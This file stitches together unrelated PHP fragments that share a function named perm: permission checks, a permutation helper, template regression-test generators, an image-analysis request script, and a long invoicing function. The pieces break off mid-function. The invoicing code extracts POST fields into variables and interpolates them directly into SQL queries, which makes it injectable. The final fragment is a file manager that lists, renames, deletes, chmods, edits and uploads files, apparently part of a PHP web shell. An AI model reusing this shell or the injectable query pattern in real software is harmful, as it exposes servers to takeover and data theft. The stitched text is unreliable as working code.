/**
* Ensure that user has a specified permission
*
* @param $permission
* @return \Illuminate\Http\RedirectResponse|null
*/
public function ensure($permission)
{
$perm = perm();
if ($perm == 'admin' || perm() == $permission) {
return null;
}
return redirect()->back();
}
public function clearLog()
{
perm('dash', 'Activity', $this->Session->read("user_perm"), true);
if ($this->request->is('ajax')) {
$server = $this->Session->read("current_server");
$logfile = TMP . "server/" . $server . ".log";
$file = new File($logfile);
if ($file->exists()) {
$log = $file->delete();
return $log;
}
}
}
function perm($arr, $n, $result = array())
{
if ($n <= 0) {
return false;
}
$i = 0;
$new_result = array();
foreach ($arr as $r) {
if (count($result) > 0) {
foreach ($result as $res) {
$new_element = array_merge($res, array($r));
$new_result[] = $new_element;
}
} else {
$new_result[] = array($r);
}
}
if ($n == 1) {
return $new_result;
}
return perm($arr, $n - 1, $new_result);
}
<?php
require_once dirname(__FILE__) . "/permutation.php";
// Writes to: regression_tests/if/correct/if_with_comments.in
$ws = alt("", " \t", "\n");
$comment = alt("/*c*/", "//c\n");
$wsComment = alt(clone $ws, clone $comment, clone $ws);
$comments = alt(clone $ws, clone $comment);
$list = perm('{', clone $comments, 'if', clone $comments, '$a', clone $comments, '}', "\n {\$a}\n{/if}");
$a = app("if/correct/if_with_comments.in", $argv);
$a->output("{var \$a = \"foo\"}\n");
do {
$str = $list->generate();
$a->output($str . "\n");
} while ($list->increase());
analysepca: Boolean analyse shape of images
sanalysisfile: String name of shape analysis file
usepci: Boolean load PCI model from pcifile
pci: Boolean do any color PCI functions
pcifile: String name of PCI model to load or save
analysepci: Boolean analyse colour of images
canalysisfile: String name of colour analysis file
images: String[] list of image paths
texture: Boolean use texture to create average
mask: String name of mask to use for PCI
***********************************************************/
require_once $_SERVER['DOCUMENT_ROOT'] . '/include/main_func.php';
auth();
ini_set('max_execution_time', 6000);
$return = array('error' => true, 'errorText' => '', 'newFileName' => '');
if (!perm('pca')) {
$return['errorText'] .= 'You do not have permission to create a PCA';
} else {
$url = 'http://' . $_SERVER["SERVER_NAME"] . '/tomcat/psychomorph/pca?';
// set up data
$theData = $_POST['theData'];
$theData['subfolder'] = intval($_SESSION['user_id']);
$paramsJoined = array();
foreach ($theData as $param => $value) {
if (is_array($value)) {
foreach ($value as $subvalue) {
$paramsJoined[] = "{$param}={$subvalue}";
}
} else {
$paramsJoined[] = "{$param}={$value}";
}
/**
* Store saved settings
*
* @param Request $request
* @param UserService $userService
* @return \Illuminate\Http\RedirectResponse
*/
public function storeSettings(Request $request, UserService $userService)
{
$this->validate($request, $this->validationRulesForSettings($request));
$fields = $request->only(['name', 'email', 'password', 'avatar', 'language']);
if (perm('demo')) {
unset($fields['password']);
unset($fields['language']);
}
$userService->updateProfile($this->currentUser, $fields);
return redirect()->back();
}
<?php
require_once dirname(__FILE__) . "/permutation.php";
// Writes to: regression_tests/blocks/incorrect/block_invalid_closing_*.in
$singleBlockNames = alt("var", "cycle", "use", "increment", "decrement", "reset", "return", "break", "skip", "continue", "else", "elseif", "include", "ldelim", "rdelim");
$nestedBlockNames = alt("foreach", "while", "if", "switch", "case", "default", "delimiter", "literal");
$otherNames = alt("tru", "fals", "ray");
$alts = alt($singleBlockNames, $nestedBlockNames, $otherNames);
$data = alt("", " \$foo");
$lineStart = perm("{/", $alts);
$line = perm($lineStart, $data, "}");
$list = perm($line, "\n");
$a = app("", $argv);
$dir = $a->dir;
$i = 1;
do {
$num = sprintf("%04d", $i);
$str = $list->generate();
$fileIn = $dir . "/blocks/incorrect/block_invalid_closing_" . $num . ".in";
$fileOut = $dir . "/blocks/incorrect/block_invalid_closing_" . $num . ".out";
$name = $alts->generate();
$a->store("{* file: " . "block_invalid_closing_" . $num . ".in" . " *}\n{var \$foo = \"T42p\"}\n" . $str . "\n", $fileIn);
if ($alts->index == 0) {
$dataText = $data->generate();
$a->store("mock:3:2: This block cannot be closed.\n" . "\n" . "{/{$name}{$dataText}}\n" . " ^\n", $fileOut);
} elseif ($alts->index == 1) {
$lineText = $line->generate();
if ($data->index == 0) {
$offset = strlen($line->generate()) + 1;
$a->store("mock:3:{$offset}: Found closing block {/{$name}} without an opening block.\n" . "\n" . "{$lineText}\n" . str_repeat(" ", $offset - 1) . "^\n", $fileOut);
} else {
function details($_POST, $error = "")
{
if (PRD_STATE == 'p') {
return "<br><li class=err> - Error : You cannot acces this function when you are using a closed period.<br><br></li>";
}
# Get vars
foreach ($_POST as $key => $value) {
${$key} = $value;
}
# validate input
require_lib("validate");
$v = new validate();
if (isset($invid)) {
$v->isOk($invid, "num", 1, 20, "Invalid invoice number.");
} else {
$v->isOk($deptid, "num", 1, 20, "Invalid department number.");
$v->isOk($letters, "string", 0, 5, "Invalid First 3 Letters.");
}
# display errors, if any
if ($v->isError()) {
$errors = $v->getErrors();
foreach ($errors as $e) {
$error .= "<li class=err>" . $e["msg"];
}
$confirm .= "{$error}<p><input type=button onClick='JavaScript:history.back();' value='« Correct submission'>";
return $confirm;
}
if (isset($deptid)) {
db_connect();
# Query server for customer info
$sql = "SELECT cusnum,cusname,surname FROM customers WHERE deptid = '{$deptid}' AND location != 'int' AND lower(surname) LIKE lower('{$letters}%') AND blocked != 'yes' AND div = '" . USER_DIV . "' ORDER BY surname";
$custRslt = db_exec($sql) or errDie("Unable to view customers");
if (pg_numrows($custRslt) < 1) {
$err = "<li class=err>No customer names starting with <b>{$letters}</b> in database.";
return view_err($_POST, $err);
}
}
if (!isset($invid)) {
$invid = create_dummy($deptid);
$stkerr = "0,0";
}
if (!isset($done)) {
$done = "";
}
# Get invoice info
db_connect();
$sql = "SELECT * FROM invoices WHERE invid = '{$invid}' AND div = '" . USER_DIV . "'";
$invRslt = db_exec($sql) or errDie("Unable to get invoice information");
if (pg_numrows($invRslt) < 1) {
return "<li class=err>Invoice Not Found</li>";
}
$inv = pg_fetch_array($invRslt);
# Check if invoice has been printed
if ($inv['printed'] == "y") {
$error = "<li class=err> Error : Invoice number <b>{$invid}</b> has already been printed.";
$error .= "<p><input type=button onClick='JavaScript:history.back();' value='« Correct submission'>";
return $error;
}
# Get department
db_conn("exten");
$sql = "SELECT * FROM departments WHERE deptid = '{$inv['deptid']}' AND div = '" . USER_DIV . "'";
$deptRslt = db_exec($sql);
if (pg_numrows($deptRslt) < 1) {
$dept['deptname'] = "<li class=err>Department not Found.";
} else {
$dept = pg_fetch_array($deptRslt);
}
# Get selected Customer info
db_connect();
$sql = "SELECT * FROM customers WHERE cusnum = '{$inv['cusnum']}' AND location != 'int' AND div = '" . USER_DIV . "'";
$custRslt = db_exec($sql) or errDie("Unable to view customer");
if (pg_numrows($custRslt) < 1) {
db_connect();
# Query server for customer info
$sql = "SELECT cusnum,cusname,surname FROM customers WHERE deptid = '{$inv['deptid']}' AND location != 'int' AND lower(surname) LIKE lower('{$letters}%') AND blocked != 'yes' AND div = '" . USER_DIV . "' ORDER BY surname";
$custRslt = db_exec($sql) or errDie("Unable to view customers");
if (pg_numrows($custRslt) < 1) {
$err = "<li class=err>No customer names starting with <b>{$letters}</b> in database.";
return view_err($_POST, $err);
} else {
$customers = "<select name='cusnum' onChange='javascript:document.form.submit();'>";
$customers .= "<option value='-S' selected>Select Customer</option>";
while ($cust = pg_fetch_array($custRslt)) {
$customers .= "<option value='{$cust['cusnum']}'>{$cust['cusname']} {$cust['surname']}</option>";
}
$customers .= "</select>";
}
# Take care of the unset vars
$cust['addr1'] = "";
$cust['cusnum'] = "";
$cust['vatnum'] = "";
$cust['accno'] = "";
} else {
$cust = pg_fetch_array($custRslt);
$sql = "SELECT cusnum, cusname, surname FROM customers WHERE deptid = '{$inv['deptid']}' AND location != 'int' AND lower(surname) LIKE lower('{$letters}%') AND blocked != 'yes' AND div = '" . USER_DIV . "' ORDER BY surname";
$cusRslt = db_exec($sql) or errDie("Unable to view customers");
# Moarn if customer account has been blocked
if ($cust['blocked'] == 'yes') {
$error .= "<li class=err>Error : Selected customer account has been blocked.";
}
// $customers = "<input type=hidden name=cusnum value='$cust[cusnum]'>$cust[cusname] $cust[surname]";
$cusnum = $cust['cusnum'];
$customers = "<select name='cusnum' onChange='javascript:document.form.submit();'>";
// $customers .= "<option value='-S' selected>Select Customer</option>";
while ($cus = pg_fetch_array($cusRslt)) {
$sel = "";
if ($cust['cusnum'] == $cus['cusnum']) {
$sel = "selected";
}
$customers .= "<option value='{$cus['cusnum']}' {$sel}>{$cus['cusname']} {$cus['surname']}</option>";
}
$customers .= "</select>";
}
/* --- Start Drop Downs --- */
# Select warehouse
db_conn("exten");
$whs = "<select name='whidss[]' onChange='javascript:document.form.submit();'>";
$sql = "SELECT * FROM warehouses WHERE div = '" . USER_DIV . "' ORDER BY whname ASC";
$whRslt = db_exec($sql);
if (pg_numrows($whRslt) < 1) {
return "<li class=err> There are no Stores found in Cubit.";
} else {
$whs .= "<option value='-S' disabled selected>Select Store</option>";
while ($wh = pg_fetch_array($whRslt)) {
$whs .= "<option value='{$wh['whid']}'>({$wh['whno']}) {$wh['whname']}</option>";
}
}
$whs .= "</select>";
# Get sales people
db_conn("exten");
$sql = "SELECT * FROM salespeople WHERE div = '" . USER_DIV . "' ORDER BY salesp ASC";
$salespRslt = db_exec($sql) or errDie("Unable to get sales people.");
if (pg_numrows($salespRslt) < 1) {
return "<li class=err> There are no Sales People found in Cubit.";
} else {
$salesps = "<select name='salespn'>";
while ($salesp = pg_fetch_array($salespRslt)) {
if ($salesp['salesp'] == $inv['salespn']) {
$sel = "selected";
} else {
$sel = "";
}
$salesps .= "<option value='{$salesp['salesp']}' {$sel}>{$salesp['salesp']}</option>";
}
$salesps .= "</select>";
}
# Days drop downs
$days = array("0" => "0", "30" => "30", "60" => "60", "90" => "90", "120" => "120");
$termssel = extlib_cpsel("terms", $days, $inv['terms']);
# Keep the charge vat option stable
if ($inv['chrgvat'] == "inc") {
$chin = "checked=yes";
$chex = "";
$chno = "";
} elseif ($inv['chrgvat'] == "exc") {
$chin = "";
$chex = "checked=yes";
$chno = "";
} else {
$chin = "";
$chex = "";
$chno = "checked=yes";
}
# Format date
list($oyear, $omon, $oday) = explode("-", $inv['odate']);
/* --- End Drop Downs --- */
/* --- Start Products Display --- */
# Select all products
$products = "\n\t<table cellpadding='" . TMPL_tblCellPadding . "' cellspacing='" . TMPL_tblCellSpacing . "' border=0 width=100%>\n\t<tr><th>STORE</th><th>ITEM NUMBER</th><th>SERIAL NO.</th><th>DESCRIPTION</th><th>QTY</th><th>UNIT PRICE</th><th>UNIT DISCOUNT</th><th>AMOUNT</th><th>Remove</th><tr>";
# get selected stock in this invoice
db_connect();
$sql = "SELECT * FROM inv_items WHERE invid = '{$invid}' AND div = '" . USER_DIV . "'";
$stkdRslt = db_exec($sql);
$i = 0;
$key = 0;
while ($stkd = pg_fetch_array($stkdRslt)) {
# Keep track of selected stock amounts
$amts[$i] = $stkd['amt'];
$i++;
# Get warehouse name
db_conn("exten");
$sql = "SELECT whname FROM warehouses WHERE whid = '{$stkd['whid']}' AND div = '" . USER_DIV . "'";
$whRslt = db_exec($sql);
$wh = pg_fetch_array($whRslt);
# Get selected stock in this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE stkid = '{$stkd['stkid']}' AND div = '" . USER_DIV . "'";
$stkRslt = db_exec($sql);
$stk = pg_fetch_array($stkRslt);
# Serial number
if ($stk['serd'] == 'yes' && $inv['serd'] == 'n') {
$sers = ext_getavserials($stkd['stkid']);
$sernos = "<select class='width : 15' name='sernos[]'>";
foreach ($sers as $skey => $ser) {
$sernos .= "<option value='{$ser['serno']}'>{$ser['serno']}</option>";
}
$sernos .= "</select>";
} else {
$sernos = "<input type=hidden name=sernos[] value='{$stkd['serno']}'>{$stkd['serno']}";
}
# Input qty if not serialised
$qtyin = "<input type=text size=3 name=qtys[] value='{$stkd['qty']}'>";
if ($stk['serd'] == 'yes') {
$qtyin = "<input type=hidden size=3 name=qtys[] value='{$stkd['qty']}'>{$stkd['qty']}";
}
# check permissions
if (perm("invoice-unitcost-edit.php")) {
$viewcost = "<input type=text size=8 name=unitcost[] value='{$stkd['unitcost']}'>";
} else {
$viewcost = "<input type=hidden size=8 name=unitcost[] value='{$stkd['unitcost']}'>{$stkd['unitcost']}";
}
# Put in product
$products .= "<tr class='bg-odd'><td><input type=hidden name=whids[] value='{$stkd['whid']}'>{$wh['whname']}</td><td><input type=hidden name=stkids[] value='{$stkd['stkid']}'><a href='#bottom' onclick='openwindow(\"stock-amt-det.php?stkid={$stk['stkid']}\")'>{$stk['stkcod']}</a></td><td>{$sernos}</td><td>" . extlib_rstr($stk['stkdes'], 30) . "</td><td>{$qtyin}</td><td>{$viewcost}</td><td><input type=text size=4 name=disc[] value='{$stkd['disc']}'> OR <input type=text size=4 name=discp[] value='{$stkd['discp']}' maxlength=5>%</td><td><input type=hidden name=amt[] value='{$stkd['amt']}'> " . CUR . " {$stkd['amt']}</td><td><input type=checkbox name=remprod[] value='{$key}'><input type=hidden name=SCROLL value=yes></td></tr>";
$key++;
}
# Look above(remprod keys)
$keyy = $key;
# Look above(if i = 0 then there are no products)
if ($i == 0) {
$done = "";
} else {
$SCROLL = "yes";
}
# check if stock warehouse was selected
if (isset($whidss)) {
foreach ($whidss as $key => $whid) {
if (isset($stkidss[$key]) && $stkidss[$key] != "-S" && isset($cust['pricelist'])) {
# skip if not selected
if ($whid == "-S") {
continue;
}
# Get selected warehouse name
db_conn("exten");
$sql = "SELECT whname FROM warehouses WHERE whid = '{$whid}' AND div = '" . USER_DIV . "'";
$whRslt = db_exec($sql);
$wh = pg_fetch_array($whRslt);
# Get selected stock in this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE stkid = '{$stkidss[$key]}' AND div = '" . USER_DIV . "' ORDER BY stkcod ASC";
$stkRslt = db_exec($sql);
$stk = pg_fetch_array($stkRslt);
if ($stk['serd'] == 'yes') {
$sers = ext_getavserials($stkidss[$key]);
$sernos = "<select class='width : 15'name='sernos[]' onChange='javascript:document.form.submit();'>";
foreach ($sers as $skey => $ser) {
$sernos .= "<option value='{$ser['serno']}'>{$ser['serno']}</option>";
}
$sernos .= "</select>";
} else {
$sernos = "<input type=hidden name=sernos[] value=''>";
}
# Get price from price list if it is set
if (isset($cust['pricelist'])) {
# get selected stock in this warehouse
db_conn("exten");
$sql = "SELECT price FROM plist_prices WHERE listid = '{$cust['pricelist']}' AND stkid = '{$stk['stkid']}' AND div = '" . USER_DIV . "'";
$plRslt = db_exec($sql);
if (pg_numrows($plRslt) > 0) {
$pl = pg_fetch_array($plRslt);
$stk['selamt'] = $pl['price'];
}
}
/* -- Start Some Checks -- */
# check if they are selling too much
if ($stk['units'] - $stk['alloc'] < $qtyss[$key]) {
if (!in_array($stk['stkid'], explode(",", $stkerr))) {
if ($stk['type'] != 'lab') {
$stkerr .= ",{$stk['stkid']}";
$error .= "<li class=err>Warning : Item number <b>{$stk['stkcod']}</b> does not have enough items available.</li>";
}
}
}
/* -- End Some Checks -- */
# Calculate the Discount discount
if ($discs[$key] < 1) {
if ($discps[$key] > 0) {
$discs[$key] = round($discps[$key] / 100 * $stk['selamt'], 2);
}
} else {
$discps[$key] = round($discs[$key] * 100 / $stk['selamt'], 2);
}
# Calculate amount
$amt[$key] = $qtyss[$key] * ($stk['selamt'] - $discs[$key]);
# Input qty if not serialised
$qtyin = "<input type=text size=3 name=qtys[] value='{$qtyss[$key]}'>";
if ($stk['serd'] == 'yes') {
$qtyin = "<input type=hidden size=3 name=qtys[] value='{$qtyss[$key]}'>{$qtyss[$key]}";
}
# Check permissions
if (perm("invoice-unitcost-edit.php")) {
$viewcost = "<input type=text size=8 name=unitcost[] value='{$stk['selamt']}'>";
} else {
$viewcost = "<input type=hidden size=8 name=unitcost[] value='{$stk['selamt']}'>{$stk['selamt']}";
}
# Put in selected warehouse and stock
$products .= "<tr class='bg-odd'><td><input type=hidden name=whids[] value='{$whid}'>{$wh['whname']}</td><td><input type=hidden name=stkids[] value='{$stk['stkid']}'><a href='#bottom' onclick='openwindow(\"stock-amt-det.php?stkid={$stk['stkid']}\")'>{$stk['stkcod']}</a></td><td>{$sernos}</td><td>" . extlib_rstr($stk['stkdes'], 30) . "</td><td>{$qtyin}</td><td>{$viewcost}</td><td><input type=text size=4 name=disc[] value='{$discs[$key]}'> OR <input type=text size=4 name=discp[] value='{$discps[$key]}' maxlength=5>%</td><td><input type=hidden name=amt[] value='{$amt[$key]}'> " . CUR . " {$amt[$key]}</td><td><input type=checkbox name=remprod[] value='{$keyy}'></td></tr>";
$keyy++;
} else {
if (!isset($diffwhBtn)) {
# skip if not selected
if ($whid == "-S") {
continue;
}
# get warehouse name
db_conn("exten");
$sql = "SELECT whname FROM warehouses WHERE whid = '{$whid}' AND div = '" . USER_DIV . "'";
$whRslt = db_exec($sql);
$wh = pg_fetch_array($whRslt);
if (isset($ria) and $ria != "") {
$len = strlen($ria);
$Wh = "AND lower(substr(stkcod,1,'{$len}'))=lower('{$ria}')";
} else {
$Wh = "";
$ria = "";
}
# get stock on this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE whid = '{$whid}' AND blocked = 'n' AND div = '" . USER_DIV . "' {$Wh} ORDER BY stkcod ASC";
$stkRslt = db_exec($sql) or errDie("Unable to retrieve stocks from database.");
if (pg_numrows($stkRslt) < 1) {
$error .= "<li class=err>There are no stock items in the selected warehouse.";
continue;
}
if (pg_numrows($stkRslt) == 1) {
$ex = "selected";
} else {
$ex = "";
}
$stks = "<select class='width : 15'name='stkidss[]' onChange='javascript:document.form.submit();'>";
$stks .= "<option value='-S' disabled selected>Select Number</option>";
$count = 0;
while ($stk = pg_fetch_array($stkRslt)) {
$stks .= "<option value='{$stk['stkid']}'>{$stk['stkcod']} (" . ($stk['units'] - $stk['alloc']) . ")</option>";
}
$stks .= "</select> ";
# put in drop down and warehouse
$products .= "<tr class='bg-odd'><td><input type=hidden name=whidss[] value='{$whid}'>{$wh['whname']}</td><td>{$stks}</td><td> </td><td> </td><td><input type=hidden size=3 name='qtyss[]' value='1'>1</td><td> </td><td><input type=text size=4 name=discs[] value='0'> OR <input type=text size=4 name=discps[] value='0' maxlength=5>%</td><td><input type=hidden name=amts[] value='0.00'>" . CUR . " 0.00</td><td></td></tr>";
}
}
}
} else {
if (!isset($diffwhBtn)) {
# check if setting exists
db_connect();
$sql = "SELECT value FROM set WHERE label = 'DEF_WH' AND div = '" . USER_DIV . "'";
$Rslt = db_exec($sql) or errDie("Unable to check database for existing settings.");
if (pg_numrows($Rslt) > 0) {
$set = pg_fetch_array($Rslt);
$whid = $set['value'];
if (isset($wtd)) {
$whid = $wtd;
}
# get selected warehouse name
db_conn("exten");
$sql = "SELECT whname FROM warehouses WHERE whid = '{$whid}' AND div = '" . USER_DIV . "'";
$whRslt = db_exec($sql);
$wh = pg_fetch_array($whRslt);
if (isset($ria) and $ria != "") {
$len = strlen($ria);
$Wh = "AND lower(substr(stkcod,1,'{$len}'))=lower('{$ria}')";
} else {
$Wh = "";
$ria = "";
}
# get stock on this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE whid = '{$whid}' AND blocked = 'n' AND div = '" . USER_DIV . "' {$Wh} ORDER BY stkcod ASC";
$stkRslt = db_exec($sql) or errDie("Unable to retrieve stocks from database.");
if (pg_numrows($stkRslt) < 1) {
if (!isset($err)) {
$err = "";
}
$err .= "<li>There are no stock items in the selected store.";
//ontinue;
}
$stks = "<select name='stkidss[]' onChange='javascript:document.form.submit();'>";
$stks .= "<option value='-S' disabled selected>Select Number</option>";
$count = 0;
while ($stk = pg_fetch_array($stkRslt)) {
$stks .= "<option value='{$stk['stkid']}'>{$stk['stkcod']} (" . ($stk['units'] - $stk['alloc']) . ")</option>";
}
$stks .= "</select> ";
$products .= "<tr class='bg-odd'><td><input type=hidden name=whidss[] value='{$whid}'>{$wh['whname']}</td><td>{$stks}</td><td> </td><td></td><td><input type=hidden size=3 name=qtyss[] value='1'>1</td><td> </td><td><input type=text size=4 name=discs[] value='0'> OR <input type=text size=4 name=discps[] value='0' maxlength=5>%</td><td>" . CUR . " 0.00</td><td></td></tr>";
} else {
$products .= "<tr class='bg-odd'><td>{$whs}</td><td> </td><td></td><td> </td><td> </td><td> </td><td><input type=text size=4 name=discs[] value='0'> OR <input type=text size=4 name=discps[] value='0' maxlength=5>%</td><td>" . CUR . " 0.00</td><td></td></tr>";
}
}
}
/* -- start Listeners -- */
if (isset($diffwhBtn)) {
$products .= "<tr class='bg-odd'><td>{$whs}</td><td> </td><td></td><td> </td><td> </td><td> </td><td><input type=text size=4 name=discs[] value='0'> OR <input type=text size=4 name=discps[] value='0' maxlength=5>%</td><td>" . CUR . " 0.00</td><td></td></tr>";
}
/* -- End Listeners -- */
$products .= "</table>";
/* --- End Products Display --- */
/* --- Start Some calculations --- */
# Calculate subtotal
$SUBTOT = sprint($inv['subtot']);
//print "<br>TOTAL:$inv[total] VAT:$inv[vat]<br>";
# Calculate tradediscm
if ($inv['traddisc'] > 0) {
$traddiscm = sprint($inv['traddisc'] / 100 * $inv['total']);
} else {
$traddiscm = "0.00";
}
$VATP = TAX_VAT;
# Calculate subtotal
$SUBTOT = sprint($inv['subtot']);
$VAT = sprint($inv['vat']);
$TOTAL = sprint($inv['total']);
$inv['delchrg'] = sprint($inv['delchrg']);
/* --- End Some calculations --- */
/*--- Start checks --- */
# check only if the customer is selected
if (isset($cusnum) && $cusnum != "-S") {
#check againg credit limit
if ($TOTAL + $cust['balance'] > $cust['credlimit']) {
$error .= "<li class=err>Warning : Customers Credit limit of <b>" . CUR . " {$cust['credlimit']}</b> has been exceeded";
# Check permissions
if (!perm("invoice-limit-override.php")) {
$done = "";
}
}
$avcred = $cust['credlimit'] - $cust['balance'];
} else {
$avcred = "0.00";
}
/*--- Start checks --- */
/* -- Final Layout -- */
$details = "<center><h3>New Invoice</h3>\n\t<form action='" . SELF . "' method=post name=form>\n\t<input type=hidden name=key value=update>\n\t<input type=hidden name=invid value='{$invid}'>\n\t<input type=hidden name=letters value='{$letters}'>\n\t<input type=hidden name=stkerr value='{$stkerr}'>\n\t<table cellpadding='" . TMPL_tblCellPadding . "' cellspacing='" . TMPL_tblCellSpacing . "' border=0 width=95%>\n \t<tr><td valign=top width=50%>\n\t\t<table cellpadding='" . TMPL_tblCellPadding . "' cellspacing='" . TMPL_tblCellSpacing . "' border=0>\n\t\t\t<tr><th colspan=2> Customer Details </th></tr>\n\t\t\t<tr class='bg-odd'><td>Department</td><td valign=center>{$dept['deptname']}</td></tr>\n\t\t\t<tr class='bg-even'><td>Account No.</td><td valign=center>{$cust['accno']}</td></tr>\n\t\t\t<tr class='bg-odd'><td>Customer</td><td valign=center>{$customers}</td></tr>\n\t\t\t<tr class='bg-even'><td valign=top>Customer Address</td><td valign=center>" . nl2br($cust['addr1']) . "</td></tr>\n\t\t\t<tr class='bg-odd'><td>Customer Order number</td><td valign=center><input type=text size=10 name=cordno value='{$inv['cordno']}'></td></tr>\n\t\t\t<tr class='bg-even'><td>Customer Vat Number</td><td>{$cust['vatnum']}</td></tr>\n\t\t\t<tr><th colspan=2>Point of Sale</th></tr>\n\t\t\t<tr class='bg-even'><td>Barcode</td><td><input type=text size=13 name=bar value=''></td></tr>\n\t\t\t<tr class='bg-odd' " . ass("Type the first letters of the stock code you are looking for.") . "><td>Stock Filter</td><td><input type=text size=13 name=ria value='{$ria}' onkeyup='javasript:predict()'></td></tr>\n\t\t</table>\n\t</td><td valign=top align=right width=50%>\n\t\t<table cellpadding='" . TMPL_tblCellPadding . "' cellspacing='" . TMPL_tblCellSpacing . "' border=0>\n\t\t\t<tr><th colspan=2> Invoice Details </th></tr>\n\t\t\t<tr class='bg-odd'><td>Invoice No.</td><td valign=center>TI {$inv['invid']}</td></tr>\n\t\t\t<tr class='bg-even'><td>Proforma Inv No.</td><td valign=center><input type=text size=5 name=docref value='{$inv['docref']}'></td></tr>\n\t\t\t<tr class='bg-odd'><td>Sales Order No.</td><td valign=center><input type=text size=5 name=ordno value='{$inv['ordno']}'></td></tr>\n\t\t\t<tr class='bg-even'><td>VAT Inclusive</td><td valign=center>Yes <input type=radio size=7 name=chrgvat value='inc' {$chin}> No<input type=radio size=7 name=chrgvat value='exc' {$chex}> Excempt From Vat<input type=radio size=7 name=chrgvat value='nov' {$chno}></td></tr>\n\t\t\t<tr class='bg-odd'><td>Terms</td><td valign=center>{$termssel} Days</td></tr>\n\t\t\t<tr class='bg-even'><td>Sales Person</td><td valign=center>{$salesps}</td></tr>\n\t\t\t<tr class='bg-odd'><td>Invoice Date</td><td valign=center><table><tr><td><input type=text size=2 name=oday maxlength=2 value='{$oday}'></td><td>-</td><td><input type=text size=2 name=omon maxlength=2 value='{$omon}'></td><td>-</td><td><input type=text size=4 name=oyear maxlength=4 value='{$oyear}'></td><td></tr></table></td></tr>\n\t\t\t<tr class='bg-even'><td>Available Credit</td><td>" . CUR . " {$avcred}</td></tr>\n\t\t\t<tr class='bg-odd'><td>Trade Discount</td><td valign=center><input type=text size=5 name=traddisc value='{$inv['traddisc']}'>%</td></tr>\n\t\t\t<tr class='bg-even'><td>Delivery Charge</td><td valign=center><input type=text size=7 name=delchrg value='{$inv['delchrg']}'></td></tr>\n\t\t</table>\n\t</td></tr>\n\t<tr><td><br></td></tr>\n\t<tr><td colspan=2>{$products}</td></tr>\n\t<tr><td>\n\t\t<p>\n\t\t<table border=0 cellpadding='" . TMPL_tblCellPadding . "' cellspacing='" . TMPL_tblCellSpacing . "' width=100%>\n\t\t\t<tr><th width=25%>Quick Links</th><th width=25%>Comments</th><td rowspan=5 valign=top width=50%>{$error}</td></tr>\n\t\t\t<tr><td class='bg-odd'><a href='cust-credit-stockinv.php'>New Invoice</a></td><td class='bg-odd' rowspan=4 align=center valign=top><textarea name=comm rows=4 cols=20>{$inv['comm']}</textarea></td></tr>\n\t\t\t<tr class='bg-odd'><td><a href='invoice-view.php'>View Invoices</a></td></tr>\n\t\t\t<script>document.write(getQuicklinkSpecial());</script>\n\t\t\t<tr class='bg-odd'><td><a href='main.php'>Main Menu</a></td></tr>\n\t\t</table>\n\t</td><td align=right valign=top>\n\t\t<table cellpadding='" . TMPL_tblCellPadding . "' cellspacing='" . TMPL_tblCellSpacing . "' border=0 width=50%>\n\t\t\t<tr class='bg-odd'><td>SUBTOTAL</td><td align=right>" . CUR . " <input type=hidden name=SUBTOT value='{$SUBTOT}'>{$SUBTOT}</td></tr>\n\t\t\t<tr class='bg-even'><td>Trade Discount</td><td align=right>" . CUR . " {$inv['discount']}</td></tr>\n\t\t\t<tr class='bg-odd'><td>Delivery Charge</td><td align=right>" . CUR . " {$inv['delivery']}</td></tr>\n\t\t\t<tr class='bg-even'><td><b>VAT @ {$VATP}%</b></td><td align=right>" . CUR . " {$VAT}</td></tr>\n\t\t\t<tr class='bg-odd'><th>GRAND TOTAL</th><td align=right>" . CUR . " {$TOTAL}</td></tr>\n\t\t</table>\n\t</td></tr>\n\t<tr><td align=right><input type=button value='« Back' onClick='javascript:history.back()'> | <input name=diffwhBtn type=submit value='Different Store'> | <input name=addprodBtn type=submit value='Add Product'> | <input type=submit name='saveBtn' value='Save'> </td><td>| <input type=submit name='upBtn' value='Update'>{$done}</td></tr>\n\t</table><a name=bottom>\n\t</form></center>";
return $details;
}
<?php
require_once dirname(__FILE__) . "/permutation.php";
// Writes to: regression_tests/array_fetch/correct/comments.in
$ws = alt("", " \t", "\n");
$comment = alt("/*c*/", "//c\n");
$wsComment = alt(clone $ws, clone $comment, clone $ws);
$comments = alt(clone $ws, clone $comment);
$list = perm("{\$a[", clone $comments, '0', clone $comments, "]}\n");
$a = app("array_fetch/correct/comments.in", $argv);
$a->output("{var \$a = array( 0 => 'foo' )}\n");
$i = 0;
do {
$str = $list->generate();
$a->output($str);
++$i;
} while ($list->increase());
$a->close();
$a->store(str_repeat("foo\n", $i), $a->dir . "/array_fetch/correct/comments.out");
print "<table border=0 width=100%><td width=5% id=s><b>Options</b></td><td id=s><b>Filename</b></td><td id=s><b>Size</b></td><td id=s><b>Permissions</b></td><tr>";
if ($handle = opendir('.')) {
while (false !== ($file = readdir($handle))) {
if (is_dir($file)) {
$directories[] = $file;
} else {
$files[] = $file;
}
}
asort($directories);
asort($files);
foreach ($directories as $file) {
print "<td id=d><a href=\"?p=rename&file=" . realpath($file) . "&dir=" . realpath('.') . "\">[R]</a><a href=\"?p=delete&file=" . realpath($file) . "\">[D]</a></td><td id=d><a href=\"" . $me . "?dir=" . realpath($file) . "\">" . $file . "</a></td><td id=d ></td><td id=d><a href=\"?p=chmod&dir=" . realpath('.') . "&file=" . realpath($file) . "\">" . perm($file) . "</a></td><tr>";
}
foreach ($files as $file) {
print "<td id=f><a href=\"?p=rename&file=" . realpath($file) . "&dir=" . realpath('.') . "\">[R]</a><a href=\"?p=delete&file=" . realpath($file) . "\">[D]</a></td><td id=f><a href=\"" . $me . "?p=edit&dir=" . realpath('.') . "&file=" . realpath($file) . "\">" . $file . "</a></td><td id=f>" . filesize($file) . "</td><td id=f><a href=\"?p=chmod&dir=" . realpath('.') . "&file=" . realpath($file) . "\">" . perm($file) . "</a></td><tr>";
}
} else {
print "<u>Error!</u> Can't open <b>" . realpath('.') . "</b>!<br>";
}
print "</table><hr><table border=0 width=100%><td>Upload file<br><form enctype=\"multipart/form-data\" action=\"" . $me . "?dir=" . realpath('.') . "\" method=\"POST\">\n\n<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000000\" /><input name=\"uploadedfile\" type=\"file\" />\n\n<input type=\"submit\" value=\"Upload File\" />\n\n</form></td><td><form action=\"" . $me . "\" method=GET><b>Directory:</b><input type=text size=40 name=dir value=\"" . realpath('.') . "\"><input type=submit value=\"Change Directory\"></form></td></table>";
}
function login()
{
